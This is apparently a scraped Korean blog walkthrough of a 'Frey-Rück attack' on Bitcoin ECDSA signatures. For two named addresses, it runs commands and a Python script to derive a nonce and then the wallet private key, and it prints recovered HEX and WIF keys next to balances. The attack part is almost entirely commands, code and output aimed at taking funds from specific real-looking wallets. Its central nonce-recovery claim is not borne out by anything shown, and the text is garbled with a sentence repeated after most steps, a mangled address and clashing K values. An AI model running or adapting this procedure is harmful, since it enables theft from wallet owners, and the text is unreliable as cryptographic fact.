R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06

bitaddress를 열어  확인해 보겠습니다.

ADDR: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
WIF:  KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxztVgmuN1dFrPqs3nFCqcr
HEX:  4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

https://www.blockchain.com/btc/address/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

Private Key Found!

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

BALANCE: $ 706.27


BTC 코인을 잃을 수 있는 잠재적 위협은 비트코인 ​​블록체인 거래의 심각한 취약성으로 인해 발생하므로, 모든 사람이 항상 소프트웨어를 업데이트하고 검증된 장치만 사용할 것을 강력히 권장합니다.


 자세한 암호 분석을 통해 동일한 비트코인 ​​주소에 대해 4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af 에서 심각한 취약점을 발견했습니다.  TXID:


RawTX를 공격에 대비하세요


12시2분2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

https://btc1.trezor.io/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd

RawTX = 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f


Python  스크립트 로 확인해 보겠습니다. point2gen.py


ECPy 타원 곡선 라이브러리를 사용해 보겠습니다  .

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key "K" (NONCE).

python3 point2gen.py 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe

R          =    0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
point2gen  =   (0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d)

ALL CORRECT!

K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q


Python 스크립트를 사용해 보겠습니다   .   calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06

bitaddress를 열어  확인해 보겠습니다.

ADDR: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
WIF:  KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxztVgmuN1dFrPqs3nFCqcr
HEX:  4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

https://www.blockchain.com/btc/address/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

Private Key Found!

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

BALANCE: $ 706.27


№5

자세한 암호 분석을 통해 우리는 또한 비트코인 ​​주소에서 심각한 취약점을 발견했습니다.

19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

https://btc1.trezor.io/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db
https://btc1.trezor.io/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

RawTX를 공격에 대비하세요


19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

https://btc1.trezor.io/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55

RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55


Python  스크립트 로 확인해 보겠습니다. point2gen.py


ECPy 타원 곡선 라이브러리를 사용해 보겠습니다  .

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key "K" (NONCE).

python3 point2gen.py 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e

R          =    0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
point2gen  =   (0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3)

ALL CORRECT!

K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac


Python 스크립트를 사용해 보겠습니다   .   calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b

bitaddress를 열어  확인해 보겠습니다.

ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
WIF:  KynJKoLwF9vk8yV5HaEybRcmjQhV938rjKt5kV6A7omrVipvk9ve
HEX:  4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

https://www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

Private Key Found!

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

BALANCE: $ 702.32


BTC 코인을 잃을 수 있는 잠재적 위협은 비트코인 ​​블록체인 거래의 심각한 취약성으로 인해 발생하므로, 모든 사람이 항상 소프트웨어를 업데이트하고 검증된 장치만 사용할 것을 강력히 권장합니다.


 자세한 암호 분석을 통해 동일한 비트코인 ​​주소에 대해 e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea 에서 심각한 취약점을 발견했습니다.  TXID:


RawTX를 공격에 대비하세요


19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

https://btc1.trezor.io/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99

RawTX = 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99


Python  스크립트 로 확인해 보겠습니다. point2gen.py


ECPy 타원 곡선 라이브러리를 사용해 보겠습니다  .

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key "K" (NONCE).

python3 point2gen.py 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288

R          =    0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
point2gen  =   (0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d)

ALL CORRECT!

K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac


Python 스크립트를 사용해 보겠습니다   .   calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b

bitaddress를 열어  확인해 보겠습니다.

ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
WIF:  KynJKoLwF9vk8yV5HaEybRcmjQhV938rjKt5kV6A7omrVipvk9ve
HEX:  4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

https://www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

Private Key Found!

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

BALANCE: $ 702.32


원천

ATTACKSAFE 소프트웨어

텔레그램: https://t.me/cryptodeeptech

비디오 튜토리얼: https://youtu.be/wqHES7r1qyc

출처: https://cryptodeeptech.ru/frey-ruck-attack


비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

 암호 분석

게시물 탐색

От